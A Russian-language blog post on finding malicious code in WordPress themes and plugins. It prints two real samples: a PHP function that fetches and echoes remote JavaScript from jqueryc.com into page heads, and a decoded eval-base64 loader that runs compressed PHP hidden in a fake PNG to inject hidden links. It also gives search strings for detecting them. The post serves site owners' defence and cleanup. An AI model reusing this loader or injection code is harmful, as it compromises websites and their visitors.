Проверьте свой шаблон WordPress на зловредный код (Часть 2)
Это продолжение. Начало здесь.
В первой части мы говорили о плагинах, которые помогают определить подозрительный код в файлах темы.
Но есть зловредные скрипты, которые не определяются этими плагинами. В одних случаях они не определяются потому, что находятся не в файлах темы, а в других — потому что, плагины не определяют их как зловредный код.
Если сканирование плагинами ничего сомнительного не показало, то это еще не означает, что ваш сайт находится в безопасности.
Лично я предлагаю, еще в ручную проверить некоторые файлы темы и посмотреть HTML-код сайта.
Проверка файлов темы
Изучите содержание таких файлов: header.php, functions.php, footer.php.
В файле functions.php разработчики прописывают все ф-ции темы и пути к ним. Перед каждой ф-цией обычно указан комментарий с названием ф-ции.
Пример (комментарий начинается после символов //):
// get the path for the file ( to support child theme ) if( !function_exists('get_root_directory') ){ function get_root_directory( $path ){ if( file_exists( STYLESHEETPATH . '/' . $path ) ){ return STYLESHEETPATH . '/'; }else{ return TEMPLATEPATH . '/'; } } }
Пример зловредного кода: редирект на чужой сайт
Вот фрагмент кода одного из премиум-шаблонов для WordPress, скачанных с паблика (фрагмент кода файла functions.php):
$temp_root = get_root_directory('include/include-script.php'); include_once($temp_root . 'include/include-script.php'); // include all javascript and style in to the theme $temp_root = get_root_directory('include/plugin/utility.php'); include_once($temp_root . 'include/plugin/utility.php'); // utility function $temp_root = get_root_directory('include/function-regist.php'); include_once($temp_root . 'include/function-regist.php'); // registered wordpress function $temp_root = get_root_directory('include/goodlayers-option.php'); include_once($temp_root . 'include/goodlayers-option.php'); // goodlayers panel $temp_root = get_root_directory('include/plugin/fontloader.php'); include_once($temp_root . 'include/plugin/fontloader.php'); // load necessary font $temp_root = get_root_directory('include/plugin/shortcode-generator.php'); include_once($temp_root . 'include/plugin/shortcode-generator.php'); // shortcode include'include/plugin/post.php'; // post function
Мое внимание привлекла неприметная строчка:
include'include/plugin/post.php'; // post function
Это и есть чужой код.
Этот инклюд вызывает ф-цию редиректа пользователя на сайт https://www.downloadmusicfreenow.com
Сама ф-ция находилась в файле post.php в папке темы include/plugin
<?php if (!function_exists('insert_jquery_des')){function insert_jquery_des(){if (function_exists('curl_init')){$url = "https://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_des');} ?>
Ф-ция может находится в разных файлах. Я например находил ее в файлах: post.php и sidebar_blog_post.php в разных темах.
Очень много шаблонов из паблика заражено всевозможными скриптами. Скачивая такой шаблон вы рискуете своим сайтом (репутацией, деньгами, авторитетом и т.д.).
Как можна по-другому найти такие ф-ции редиректа?
1) По истерическому сигналу вашего антивируса, который вдруг заблокировал доступ к вашему сайту. Это уже сигнал, что в шаблоне присутствует чужой код.
2) Используйте программу Total Commander и через поиск в файлах попробуйте найти такие комбинации кода:
$url = "https://www.jqueryc.com
jqueryc.com
3) Используйте программу Adobe Dreamweaver. Создайте в ней проект сайта, укажите шаблон и через поиск в нем попробуйте найти вышеуказанный код.
Проверка HTML-кода сайта
Установите на сайт шаблон и необходимые плагины. Откройте в браузере HTML-код главной страницы сайта (например, в Google Chrome это можна сделать вызвав контекстное меню на странице и выбрав пункт «Просмотр кода страницы»).
Просмотрите внимательно код. Обратите внимание на ссылки и текст.
Пример зловредного кода: рекламные ссылки
На одном сайте, которым я занимался, я нашел скрытые ссылки, которые ведут на порносайты (строка 54):
Как вы думаете мне было приятно от порнухи на своем сайте, который очень далек от этой тематики? — Моему возмущению не было предела!
Как же они попали на сайт?
Обратите внимание на HTML-код в строке 53.
Ссылки генерировались зловредным скриптом, кторый находился в плагине NextGen (плагин создает фотогалереи). Все дело в том, что я установил плагин из неофициальных источников.
Устанавливайте плагины только из официального репозитория WordPress — https://wordpress.org/extend/plugins/
В статье Проверьте свой сайт на вирусы я указал сервисы, которые проверяют сайты на чужие внешние ссылки. Обязательно проверьте свой сайт.
Кстати, у меня был случай, когда один из плагинов, установленных из официального репозитория WordPress также генерировал чужие рекламные ссылки.
Вывод: лишняя бдительность не помешает.
Дополнительно
Еще приведу один пример того, как плохие дяди (или тети) хотят на шару вас поиспользовать.
В одном из премиум шаблонов, в файле header.php плагином Theme Authenticity Checker (TAC) был найден код eval base64.
Декодером я расшифровал файл:
$f=dirname(__file__).'/images/wp_menu_top.png';$b=get_option('wp_theme_menu_first');if (file_exists($f) and !$b){$fp = fopen($f,"r");$s = fread($fp,filesize($f));fclose($fp);eval('$m='.gzuncompress(stripslashes($s)).';');$i0=$m[0];$i1=$m[1];$i2=$m[2];$i3=$m[3];unset($m[0],$m[1],$m[2]);shuffle($m);$cs[0]=$i0.$i1.$m[0].$i2.$m[1].$i2.$m[2].$i3;$cs[1]=$i0.$i1.$m[3].$i2.$m[4].$i2.$m[5].$i3;add_option('wp_theme_menu_first',base64_encode($cs[0]),'','no' );add_option('wp_theme_menu_second',base64_encode($cs[1]),'','no' );}function fn(){if((is_home())&&!(is_paged())) $n=base64_decode(get_option('wp_theme_menu_first'));else $n=base64_decode(get_option('wp_theme_menu_second'));return $n;}$_GET['g__']=1;function cb($p){echo ($_GET['g__']>0)?fn():'';$_GET['g__']=0;return $p;}if ($b) add_action('widget_title','cb');
В первой строке есть ссылка на графический файл: images/wp_menu_top.png. Этот файл подгружается зашифрованным кодом.
В папке images нашел этот файл и попробовал открыть — не получилось. По коду видно, что это не обычный графический файл, а сжатый текстовый файл с кодом внутри. Скорей всего этот код выводит скрытые рекламные ссылки. В любом случае он нам не нужен.
Лечение: удалить код eval base64 из файла header.php, удалить файл wp_menu_top.png.
Перед тем, как что-то удалить — сохраните исходные файлы.